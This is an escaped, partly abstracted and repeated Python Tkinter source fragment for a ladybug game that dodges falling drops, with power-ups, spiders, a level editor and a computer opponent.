pass\n\n\n<function token>\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\n<function token>\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\n<function token>\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' 